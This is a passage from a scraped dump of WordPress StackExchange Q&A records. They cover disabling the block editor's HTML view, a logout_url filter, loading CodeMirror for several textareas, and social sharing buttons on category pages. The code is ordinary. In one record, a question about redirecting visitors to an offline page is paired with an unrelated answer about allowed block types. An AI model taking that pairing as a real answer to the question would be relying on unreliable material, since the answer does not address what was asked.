'original-block-js' ),\n '1.0.0',\n true\n );\n }\n}\nadd_action( 'admin_enqueue_scripts', 'my_function' );\n</code></pre>\n<p>Note 'original-block-js' as a dependency. This refers to the JS file that's registering your block in the first place. We are ensuring the code to unregister the block is loaded <em>after</em> the code that registers it.</p>\n<ol start=\"2\">\n<li>Add the following to your JS file.</li>\n</ol>\n<pre><code>const { unregisterBlockType } = wp.blocks;\n\nwp.domReady( function() {\n unregisterBlockType( 'my-name-space/block-name' );\n} );\n</code></pre>\n<p>Replace my-name-space/block-name with your block name.</p>\n<p><strong>UPDATE</strong></p>\n<p>The original poster wanted to hide the block on any non-hierarchical post types. That's a slightly different use case. But you can get there by just adjusting the conditional with is_post_type_hierarchical().</p>\n" } ]
2019/10/04
[ "https://wordpress.stackexchange.com/questions/349743", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176241/" ]
I have a page created in wordpress that I want to redirect all users to. Ex.: www.mywordpress.com/offline How can I direct all traffic requests (except wp-admin and dashboard) to this page? My goal is to have an offline page for when I am working on things or I am not accepting any new business.
You can use the `allowed_block_types` hook: ``` <?php function wpse_allowed_block_types($allowed_block_types, $post) { // Limit blocks in 'post' post type if($post->post_type == 'post') { // Return an array containing the allowed block types return array( 'core/paragraph', 'core/heading' ); } // Limit blocks in 'page' post type elseif($post->post_type == 'page') { return array( 'core/list' ); } // Allow defaults in all other post types else { return $allowed_block_types; } } add_filter('allowed_block_types', 'wpse_allowed_block_types', 10, 2); ?> ``` Tweak with as many or as few conditions as you need. You can also enable non-Core blocks by identifying their namespace and name and putting those in the array.
349,790
<p>Is there a way to disable JUST the Code editor view in the content editor?</p> <p>I have a bunch of clients who fancy themselves developers and keep messing up their own pages because they really have no idea what they're doing. They manage their own content so I can't shut down their editing capabilities entirely, but that's all I can find functions for (that and Google is still overrun with articles about disabling Gutenberg every time you use "WordPress" and "disable" as keywords in the same search). </p> <p>I just don't want them to have the option at all to use anything but the Visual Editor. </p> <p>Thanks!</p>
[ { "answer_id": 349799, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 2, "selected": false, "text": "<p>You can do it in JavaScript, though the downside is you have to do it block by block.</p>\n\n<p>You'll need webpack set up with lodash installed:</p>\n\n<pre><code>function removeHtmlEditing( settings, name ) {\n return lodash.assign( {}, settings, {\n supports: lodash.assign( {}, settings.supports, {\n html: false\n } ),\n } );\n}\n\nwp.hooks.addFilter(\n 'blocks.registerBlockType',\n 'core/paragraph',\n removeHtmlEditing\n);\n</code></pre>\n\n<p>There's not a lot of documentation on <code>wp.hooks.addFilter()</code>. I tried passing in an array of blocks, an empty string, and an asterisk, and it wouldn't work - it seems to require a single block name including namespace. So you would have to add a filter every block that could be on the site, though at least the <code>removeHtmlEditing()</code> function would work for them all.</p>\n\n<p>There also doesn't seem to be a way to just display:none the \"Edit as HTML\" button with CSS, because there is no specific CSS class, aria-label, or data-attribute to determine which button you're targeting.</p>\n\n<p>This changes the html \"supports\" setting to false, which prevents the \"Edit as HTML\" button from ever appearing. However, if a block gets corrupted, they would still be able to enter HTML. You might also want to disable the Custom HTML block entirely if that's another place they're adding bad code. Once again you'll need webpack and you'll need \"wp-blocks\", \"wp-dom-ready\", and \"wp-edit-post\" as dependencies when you enqueue the JS:</p>\n\n<pre><code>wp.domReady( function() {\n wp.blocks.unregisterBlockType( 'core/html' );\n} );\n</code></pre>\n" }, { "answer_id": 350057, "author": "Trisha", "author_id": 56458, "author_profile": "https://wordpress.stackexchange.com/users/56458", "pm_score": 0, "selected": false, "text": "<p>What about a different approach, which might be to give your clients <em>front-end</em> editing access only, possibly using a plugin such as Front End Editor (free, see link) or Editus (not free but more robust and has a developer/unlimited sites option). You can then add some code to your functions to redirect all non-admins to the front-end editor (or, assuming some of your clients have admin-level access, any users but yourself to the front-end editor). I do this type of redirect away from the back-end for all users of a certain class I have setup so if you need a code snippet on how to do that just ask. </p>\n\n<p>Front End Editor:</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-front-end-editor/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-front-end-editor/</a></p>\n\n<p>Editus:</p>\n\n<p><a href=\"https://edituswp.com\" rel=\"nofollow noreferrer\">https://edituswp.com</a></p>\n\n<p>By redirecting them to a front-end editor you can keep them away from messing up scripts or any necessary HTML or adding scripts. If they want to add scripts, turn them into shortcodes and let them use those. </p>\n\n<p>Good luck, I know how frustrating it can be with clients such as yours! </p>\n" } ]
2019/10/04
[ "https://wordpress.stackexchange.com/questions/349790", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/98463/" ]
Is there a way to disable JUST the Code editor view in the content editor? I have a bunch of clients who fancy themselves developers and keep messing up their own pages because they really have no idea what they're doing. They manage their own content so I can't shut down their editing capabilities entirely, but that's all I can find functions for (that and Google is still overrun with articles about disabling Gutenberg every time you use "WordPress" and "disable" as keywords in the same search). I just don't want them to have the option at all to use anything but the Visual Editor. Thanks!
You can do it in JavaScript, though the downside is you have to do it block by block. You'll need webpack set up with lodash installed: ``` function removeHtmlEditing( settings, name ) { return lodash.assign( {}, settings, { supports: lodash.assign( {}, settings.supports, { html: false } ), } ); } wp.hooks.addFilter( 'blocks.registerBlockType', 'core/paragraph', removeHtmlEditing ); ``` There's not a lot of documentation on `wp.hooks.addFilter()`. I tried passing in an array of blocks, an empty string, and an asterisk, and it wouldn't work - it seems to require a single block name including namespace. So you would have to add a filter every block that could be on the site, though at least the `removeHtmlEditing()` function would work for them all. There also doesn't seem to be a way to just display:none the "Edit as HTML" button with CSS, because there is no specific CSS class, aria-label, or data-attribute to determine which button you're targeting. This changes the html "supports" setting to false, which prevents the "Edit as HTML" button from ever appearing. However, if a block gets corrupted, they would still be able to enter HTML. You might also want to disable the Custom HTML block entirely if that's another place they're adding bad code. Once again you'll need webpack and you'll need "wp-blocks", "wp-dom-ready", and "wp-edit-post" as dependencies when you enqueue the JS: ``` wp.domReady( function() { wp.blocks.unregisterBlockType( 'core/html' ); } ); ```
349,792
<p>I used this hook to replace the exit address . Now, unfortunately, this hook does not work and I can not understand why</p> <pre><code>add_filter('logout_url', 'my_custom_logout_url'); function my_custom_logout_url($force_reauth, $redirect=null){ $logout_url = wp_nonce_url(site_url('logout.php')."?action=logout", 'log-out' ); if (empty($redirect)) $redirect=home_url(); $logout_url = add_query_arg('redirect_to', urlencode( $redirect )."", $logout_url ); return $logout_url ; } </code></pre>
[ { "answer_id": 349793, "author": "Gendrith", "author_id": 162581, "author_profile": "https://wordpress.stackexchange.com/users/162581", "pm_score": 0, "selected": false, "text": "<p>I created a page named \"<strong>log-out</strong>\"</p>\n\n<p>And then, in page-log-out.php I added this (the cookies lines can be avoided)</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>wp_logout();\n$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;\nsetcookie(\"user_role\", '', time()-1000, '/', $domain, false, true);\nsetcookie(\"user_id\", '', time()-1000, '/', $domain, false, true);\nsetcookie(\"full_name\", '', time()-1000, '/', $domain, false, true);\nwp_redirect(home_url());\n</code></pre>\n\n<p>Hope it works for you</p>\n\n<p>I find this too, check there</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/58453/how-to-change-the-default-logout-link-on-wordpress-admin\">How to change the default logout link on WordPress Admin</a></p>\n" }, { "answer_id": 349796, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 2, "selected": true, "text": "<p><strike>There's <em>no need to regenerate the logout URL</em> (the <code>$logout_url</code> part in your code) because the first parameter passed to your function is already the logout URL.</strike></p>\n\n<p><strike>So basically, just rename that <code>$force_reauth</code> to <code>$logout_url</code> and remove the <code>$logout_url = wp_nonce_url( ... );</code>:</strike></p>\n\n<pre class=\"lang-php prettyprint-override\"><code>function my_custom_logout_url($logout_url, $redirect=null){ // rename the $force_reauth\n // And remove this:\n //$logout_url = wp_nonce_url(site_url('logout.php').\"?action=logout\", 'log-out' );\n</code></pre>\n\n<p><strike>Secondly,</strike> your <code>add_filter()</code> call is missing the fourth parameter (which is the number of arguments passed to your function):</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_filter('logout_url', 'my_custom_logout_url', 10, 2); // like this\nadd_filter('logout_url', 'my_custom_logout_url'); // not this\n</code></pre>\n\n<h2>UPDATE</h2>\n\n<p>If you actually did mean to set the logout URL to <code>example.com/logout.php</code> (note the <code>logout.php</code>), then your code is actually good (except the <code>add_filter()</code> thing above). But if your code is still showing <code>wp-login.php</code>, then it's possible another code (maybe a plugin) is filtering/changing the logout URL. And in that case, you can change the callback <em>priority</em> to a greater number like <code>20</code>:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>// The third parameter is the callback priority.\nadd_filter('logout_url', 'my_custom_logout_url', 20, 2); // the priority is now 20\n</code></pre>\n" } ]
2019/10/04
[ "https://wordpress.stackexchange.com/questions/349792", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/151699/" ]
I used this hook to replace the exit address . Now, unfortunately, this hook does not work and I can not understand why ``` add_filter('logout_url', 'my_custom_logout_url'); function my_custom_logout_url($force_reauth, $redirect=null){ $logout_url = wp_nonce_url(site_url('logout.php')."?action=logout", 'log-out' ); if (empty($redirect)) $redirect=home_url(); $logout_url = add_query_arg('redirect_to', urlencode( $redirect )."", $logout_url ); return $logout_url ; } ```
There's *no need to regenerate the logout URL* (the `$logout_url` part in your code) because the first parameter passed to your function is already the logout URL. So basically, just rename that `$force_reauth` to `$logout_url` and remove the `$logout_url = wp_nonce_url( ... );`: ```php function my_custom_logout_url($logout_url, $redirect=null){ // rename the $force_reauth // And remove this: //$logout_url = wp_nonce_url(site_url('logout.php')."?action=logout", 'log-out' ); ``` Secondly, your `add_filter()` call is missing the fourth parameter (which is the number of arguments passed to your function): ```php add_filter('logout_url', 'my_custom_logout_url', 10, 2); // like this add_filter('logout_url', 'my_custom_logout_url'); // not this ``` UPDATE ------ If you actually did mean to set the logout URL to `example.com/logout.php` (note the `logout.php`), then your code is actually good (except the `add_filter()` thing above). But if your code is still showing `wp-login.php`, then it's possible another code (maybe a plugin) is filtering/changing the logout URL. And in that case, you can change the callback *priority* to a greater number like `20`: ```php // The third parameter is the callback priority. add_filter('logout_url', 'my_custom_logout_url', 20, 2); // the priority is now 20 ```
349,802
<p>This is a very basic question. I am using Serverpress for local development.I have been trying to create a dynamic dropdown.I did some reading and I found an example html,php and jquery script that suits my requirement. The php code is stores n a fike and the jquery calls it using load function. I am not sure where to place the php script so that the output will be passed on to jquery. Please help!</p> <p><a href="https://css-tricks.com/dynamic-dropdowns/" rel="nofollow noreferrer">https://css-tricks.com/dynamic-dropdowns/</a></p> <p>This is what I have been trying to recreate. Not sure where to place the getter.php!</p>
[ { "answer_id": 349793, "author": "Gendrith", "author_id": 162581, "author_profile": "https://wordpress.stackexchange.com/users/162581", "pm_score": 0, "selected": false, "text": "<p>I created a page named \"<strong>log-out</strong>\"</p>\n\n<p>And then, in page-log-out.php I added this (the cookies lines can be avoided)</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>wp_logout();\n$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;\nsetcookie(\"user_role\", '', time()-1000, '/', $domain, false, true);\nsetcookie(\"user_id\", '', time()-1000, '/', $domain, false, true);\nsetcookie(\"full_name\", '', time()-1000, '/', $domain, false, true);\nwp_redirect(home_url());\n</code></pre>\n\n<p>Hope it works for you</p>\n\n<p>I find this too, check there</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/58453/how-to-change-the-default-logout-link-on-wordpress-admin\">How to change the default logout link on WordPress Admin</a></p>\n" }, { "answer_id": 349796, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 2, "selected": true, "text": "<p><strike>There's <em>no need to regenerate the logout URL</em> (the <code>$logout_url</code> part in your code) because the first parameter passed to your function is already the logout URL.</strike></p>\n\n<p><strike>So basically, just rename that <code>$force_reauth</code> to <code>$logout_url</code> and remove the <code>$logout_url = wp_nonce_url( ... );</code>:</strike></p>\n\n<pre class=\"lang-php prettyprint-override\"><code>function my_custom_logout_url($logout_url, $redirect=null){ // rename the $force_reauth\n // And remove this:\n //$logout_url = wp_nonce_url(site_url('logout.php').\"?action=logout\", 'log-out' );\n</code></pre>\n\n<p><strike>Secondly,</strike> your <code>add_filter()</code> call is missing the fourth parameter (which is the number of arguments passed to your function):</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_filter('logout_url', 'my_custom_logout_url', 10, 2); // like this\nadd_filter('logout_url', 'my_custom_logout_url'); // not this\n</code></pre>\n\n<h2>UPDATE</h2>\n\n<p>If you actually did mean to set the logout URL to <code>example.com/logout.php</code> (note the <code>logout.php</code>), then your code is actually good (except the <code>add_filter()</code> thing above). But if your code is still showing <code>wp-login.php</code>, then it's possible another code (maybe a plugin) is filtering/changing the logout URL. And in that case, you can change the callback <em>priority</em> to a greater number like <code>20</code>:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>// The third parameter is the callback priority.\nadd_filter('logout_url', 'my_custom_logout_url', 20, 2); // the priority is now 20\n</code></pre>\n" } ]
2019/10/04
[ "https://wordpress.stackexchange.com/questions/349802", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176284/" ]
This is a very basic question. I am using Serverpress for local development.I have been trying to create a dynamic dropdown.I did some reading and I found an example html,php and jquery script that suits my requirement. The php code is stores n a fike and the jquery calls it using load function. I am not sure where to place the php script so that the output will be passed on to jquery. Please help! <https://css-tricks.com/dynamic-dropdowns/> This is what I have been trying to recreate. Not sure where to place the getter.php!
There's *no need to regenerate the logout URL* (the `$logout_url` part in your code) because the first parameter passed to your function is already the logout URL. So basically, just rename that `$force_reauth` to `$logout_url` and remove the `$logout_url = wp_nonce_url( ... );`: ```php function my_custom_logout_url($logout_url, $redirect=null){ // rename the $force_reauth // And remove this: //$logout_url = wp_nonce_url(site_url('logout.php')."?action=logout", 'log-out' ); ``` Secondly, your `add_filter()` call is missing the fourth parameter (which is the number of arguments passed to your function): ```php add_filter('logout_url', 'my_custom_logout_url', 10, 2); // like this add_filter('logout_url', 'my_custom_logout_url'); // not this ``` UPDATE ------ If you actually did mean to set the logout URL to `example.com/logout.php` (note the `logout.php`), then your code is actually good (except the `add_filter()` thing above). But if your code is still showing `wp-login.php`, then it's possible another code (maybe a plugin) is filtering/changing the logout URL. And in that case, you can change the callback *priority* to a greater number like `20`: ```php // The third parameter is the callback priority. add_filter('logout_url', 'my_custom_logout_url', 20, 2); // the priority is now 20 ```
349,861
<p>I am trying to load the CodeMirror editor to be used in a plugin backend. Some textareas are for HTML and some are for CSS. I am quite new to WP development, so pardon my ignorance, but doing this:</p> <pre class="lang-php prettyprint-override"><code> add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts'); function joermo_enqueue_scripts($hook) { $joermo_html_code['ce_html'] = wp_enqueue_code_editor(array('type' =&gt; 'text/html')); $joermo_css_code['ce_css'] = wp_enqueue_code_editor(array('type' =&gt; 'text/css')); wp_localize_script('jquery', 'joermo_html_code', $joermo_html_code); wp_localize_script('jquery', 'joermo_css_code', $joermo_css_code); wp_enqueue_script('wp-theme-plugin-editor'); wp_enqueue_style('wp-codemirror'); } </code></pre> <p>I only get the one that is last declared, here CSS. How can I get both?</p> <p>This is my js:</p> <pre class="lang-js prettyprint-override"><code>jQuery( function() { wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_html_code); } ); </code></pre> <p>And HTML:</p> <pre class="lang-html prettyprint-override"><code>&lt;textarea class="joermo-html-code-editor" name="shipping_label_text"&gt;' . $shipping_label_text . '&lt;/textarea&gt; </code></pre> <p>And also, is it not possible to .initzialie() several textareas with a shared class in one go? Do I have to call each one by id?</p>
[ { "answer_id": 357048, "author": "Aaron Fisher", "author_id": 181518, "author_profile": "https://wordpress.stackexchange.com/users/181518", "pm_score": 1, "selected": false, "text": "<p>I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there.</p>\n\n<p>I've tweaked your code slightly so it should now work. </p>\n\n<p><strong>The PHP:</strong></p>\n\n<pre><code>add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts');\nfunction joermo_enqueue_scripts($hook) {\n $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' =&gt; 'text/html'));\n $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' =&gt; 'text/css'));\n wp_localize_script('jquery', 'joermo_code', $joermo_code);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n}\n</code></pre>\n\n<p><strong>The jQuery:</strong></p>\n\n<pre><code>jQuery(function() {\n wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code);\n wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code);\n});\n</code></pre>\n\n<p>Before I got the above working, I tried exactly the same as you did with running <code>wp_localize_script</code> twice. But <code>$joermo_html_code['ce_html']</code> &amp; <code>$joermo_css_code['ce_css']</code> can be switched to an array and then you only need to run localize once. So in my example it became <code>$joermo_code['ce_html']</code> &amp; <code>$joermo_code['ce_css']</code>.</p>\n\n<p>Hope this helps!</p>\n" }, { "answer_id": 391907, "author": "camilluskillus", "author_id": 162369, "author_profile": "https://wordpress.stackexchange.com/users/162369", "pm_score": 0, "selected": false, "text": "<p>None of the above worked for me. But i found a solution.</p>\n<p>PHP:</p>\n<pre><code> $cm_settings = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $cm_settings2 = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_localize_script('jquery', 'cm_settings', $cm_settings);\n wp_localize_script('jquery', 'cm_settings2', $cm_settings2);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n</code></pre>\n<p>JS:</p>\n<pre><code> wp.codeEditor.initialize($('#batheme_custom_css_textarea'), cm_settings);\n wp.codeEditor.initialize($('#batheme_custom_js_textarea'), cm_settings2);\n</code></pre>\n<p>Now both work like a charm. :)</p>\n" }, { "answer_id": 395883, "author": "Marcio Duarte", "author_id": 45213, "author_profile": "https://wordpress.stackexchange.com/users/45213", "pm_score": 0, "selected": false, "text": "<p>Another way to do this without an additional JS file:</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_action( 'admin_enqueue_scripts', 'my_admin_page_editor' );\n\nfunction my_admin_page_editor() {\n\n global $pagenow;\n\n if ( ( 'admin.php' === $pagenow ) &amp;&amp; ( 'my-options-page' === $_GET['page'] ) ) {\n\n $custom_css = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $header_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n $footer_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_add_inline_script(\n 'code-editor',\n sprintf(\n 'jQuery( function() {\n wp.codeEditor.initialize( jQuery( &quot;.my-custom-css textarea&quot; ), %1$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-header-scripts textarea&quot; ), %2$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-footer-scripts textarea&quot; ), %3$s );\n });',\n wp_json_encode( $custom_css ),\n wp_json_encode( $header_js ),\n wp_json_encode( $footer_js )\n )\n );\n }\n}\n</code></pre>\n" }, { "answer_id": 397351, "author": "Twinpictures Info", "author_id": 214066, "author_profile": "https://wordpress.stackexchange.com/users/214066", "pm_score": 1, "selected": false, "text": "<p>This approach might be easier to read. wp.codeEditor.initialize must be used for both, just passed the desired setting.</p>\n<p><strong>PHP</strong></p>\n<pre><code>wp_register_script('cm_js', plugins_url('js/admin_codemirror.js', __FILE__), array('jquery'), '0.1.0', true);\n$cm_settings = array(\n 'ce_css' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/css')),\n 'ce_html' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/html'))\n);\n \nwp_localize_script( 'cm_js', 'cm_settings', $cm_settings );\nwp_enqueue_script( 'cm_js' );\nwp_enqueue_script( 'wp-theme-plugin-editor' );\nwp_enqueue_style( 'wp-codemirror' );\n</code></pre>\n<p><strong>JS</strong></p>\n<pre><code>wp.codeEditor.initialize($('#id_for_css'), cm_settings.ce_css);\nwp.codeEditor.initialize($('#id_for_html'), cm_settings.ce_html);\n</code></pre>\n" } ]
2019/10/06
[ "https://wordpress.stackexchange.com/questions/349861", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176340/" ]
I am trying to load the CodeMirror editor to be used in a plugin backend. Some textareas are for HTML and some are for CSS. I am quite new to WP development, so pardon my ignorance, but doing this: ```php add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts'); function joermo_enqueue_scripts($hook) { $joermo_html_code['ce_html'] = wp_enqueue_code_editor(array('type' => 'text/html')); $joermo_css_code['ce_css'] = wp_enqueue_code_editor(array('type' => 'text/css')); wp_localize_script('jquery', 'joermo_html_code', $joermo_html_code); wp_localize_script('jquery', 'joermo_css_code', $joermo_css_code); wp_enqueue_script('wp-theme-plugin-editor'); wp_enqueue_style('wp-codemirror'); } ``` I only get the one that is last declared, here CSS. How can I get both? This is my js: ```js jQuery( function() { wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_html_code); } ); ``` And HTML: ```html <textarea class="joermo-html-code-editor" name="shipping_label_text">' . $shipping_label_text . '</textarea> ``` And also, is it not possible to .initzialie() several textareas with a shared class in one go? Do I have to call each one by id?
I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there. I've tweaked your code slightly so it should now work. **The PHP:** ``` add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts'); function joermo_enqueue_scripts($hook) { $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' => 'text/html')); $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' => 'text/css')); wp_localize_script('jquery', 'joermo_code', $joermo_code); wp_enqueue_script('wp-theme-plugin-editor'); wp_enqueue_style('wp-codemirror'); } ``` **The jQuery:** ``` jQuery(function() { wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code); wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code); }); ``` Before I got the above working, I tried exactly the same as you did with running `wp_localize_script` twice. But `$joermo_html_code['ce_html']` & `$joermo_css_code['ce_css']` can be switched to an array and then you only need to run localize once. So in my example it became `$joermo_code['ce_html']` & `$joermo_code['ce_css']`. Hope this helps!
349,871
<p>I am using this code to display social media share links at the top of my posts. Currently, they display fine on my pages and posts. Is there any way to get this to display also on my category pages? Another option that would work is getting the code to display everywhere below the H1 and content, I don't think there are any pages where I don't want these buttons so perhaps this is the easier solution.</p> <p>Any guidance would be greatly appreciated ☺️</p> <pre><code>function crunchify_social_sharing_buttons($content) { global $post; if(is_singular() || is_home()){ // Get current page URL $crunchifyURL = urlencode(get_permalink()); // Get current page title $crunchifyTitle = htmlspecialchars(urlencode(html_entity_decode(get_the_title(), ENT_COMPAT, 'UTF-8')), ENT_COMPAT, 'UTF-8'); // $crunchifyTitle = str_replace( ' ', '%20', get_the_title()); // Get Post Thumbnail for pinterest $crunchifyThumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&gt;ID ), 'full' ); // Construct sharing URL without using any script $twitterURL = 'https://twitter.com/intent/tweet?text='.$crunchifyTitle.'&amp;amp;url='.$crunchifyURL.'&amp;amp;via=Crunchify'; $facebookURL = 'https://www.facebook.com/sharer/sharer.php?u='.$crunchifyURL; $googleURL = 'https://plus.google.com/share?url='.$crunchifyURL; $bufferURL = 'https://bufferapp.com/add?url='.$crunchifyURL.'&amp;amp;text='.$crunchifyTitle; $linkedInURL = 'https://www.linkedin.com/shareArticle?mini=true&amp;url='.$crunchifyURL.'&amp;amp;title='.$crunchifyTitle; // Based on popular demand added Pinterest too $pinterestURL = 'https://pinterest.com/pin/create/button/?url='.$crunchifyURL.'&amp;amp;media='.$crunchifyThumbnail[0].'&amp;amp;description='.$crunchifyTitle; // Add sharing button at the end of page/page content $variable .= '&lt;!-- Implement your own social sharing buttons without any JavaScript loading. No plugin required. Detailed steps here: http://crunchify.me/1VIxAsz --&gt;'; $variable .= '&lt;div class="crunchify-social"&gt;'; $variable .= '&lt;a class="crunchify-link crunchify-twitter" href="'. $twitterURL .'" target="_blank"&gt;Twitter&lt;/a&gt;'; $variable .= '&lt;a class="crunchify-link crunchify-facebook" href="'.$facebookURL.'" target="_blank"&gt;Facebook&lt;/a&gt;'; $variable .= '&lt;a class="crunchify-link crunchify-googleplus" href="'.$googleURL.'" target="_blank"&gt;Google+&lt;/a&gt;'; $variable .= '&lt;a class="crunchify-link crunchify-buffer" href="'.$bufferURL.'" target="_blank"&gt;Buffer&lt;/a&gt;'; $variable .= '&lt;a class="crunchify-link crunchify-linkedin" href="'.$linkedInURL.'" target="_blank"&gt;LinkedIn&lt;/a&gt;'; $variable .= '&lt;a class="crunchify-link crunchify-pinterest" href="'.$pinterestURL.'" data-pin-custom="true" target="_blank"&gt;Pin It&lt;/a&gt;'; $variable .= '&lt;/div&gt;'; return $variable.$content; }else{ // if not a post/page then don't include sharing button return $variable.$content; } }; add_filter( 'the_content', 'crunchify_social_sharing_buttons'); </code></pre> <p>Here is my category.php, as requested</p> <pre><code>&lt;?php /** * The Category template file. * * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Zeal */ get_header(); ?&gt; &lt;section id="primary" class="content-area"&gt; &lt;main id="main" class="site-main" role="main"&gt; &lt;div class="container archive-page"&gt; &lt;div class="row"&gt; &lt;?php if ( have_posts() ) : ?&gt; &lt;header class="page-header"&gt; &lt;h1 class="page-title"&gt;&lt;h1&gt;&lt;?php single_cat_title(); ?&gt;&lt;/h1&gt; &lt;/header&gt;&lt;!-- .page-header --&gt; &lt;?php the_archive_description( '&lt;div class="taxonomy-description"&gt;', '&lt;/div&gt;' ); ?&gt; &lt;hr class="wp-block-separator"&gt; &lt;div id="category-menu"&gt;&lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/"&gt;All&lt;/a&gt;&amp;nbsp;&lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/education/"&gt;Education&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/industrial/"&gt;Industrial&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/leisure/"&gt;Leisure&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/medical/"&gt;Medical&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/military/"&gt;Military&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/other/"&gt;Other&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/religious/"&gt;Religious&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/residential/"&gt;Residential&lt;/a&gt;&amp;nbsp; &lt;/br&gt; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/austria/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/belgium/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/bulgaria/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/france/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/germany/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/great-britain/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/hungary/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/italy/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/japan/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/luxembourg/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/portugal/"&gt; &lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/romania/"&gt;&lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/ukraine/"&gt; &lt;/a&gt;&amp;nbsp; &lt;a class="category-link" href="https://www.obsidianurbexphotography.com/locations/usa/"&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt; &lt;/br&gt; &lt;?php /* Start the Loop */ ?&gt; &lt;?php while ( have_posts() ) : the_post(); ?&gt; &lt;?php /** * Run the loop for the search to output the results. */ get_template_part( 'template-parts/content', 'category' ); ?&gt; &lt;?php endwhile; ?&gt; &lt;?php the_posts_navigation(); ?&gt; &lt;?php else : ?&gt; &lt;?php get_template_part( 'template-parts/content', 'none' ); ?&gt; &lt;?php endif; ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/main&gt;&lt;!-- #main --&gt; &lt;/section&gt;&lt;!-- #primary --&gt; &lt;?php get_footer(); ?&gt; </code></pre>
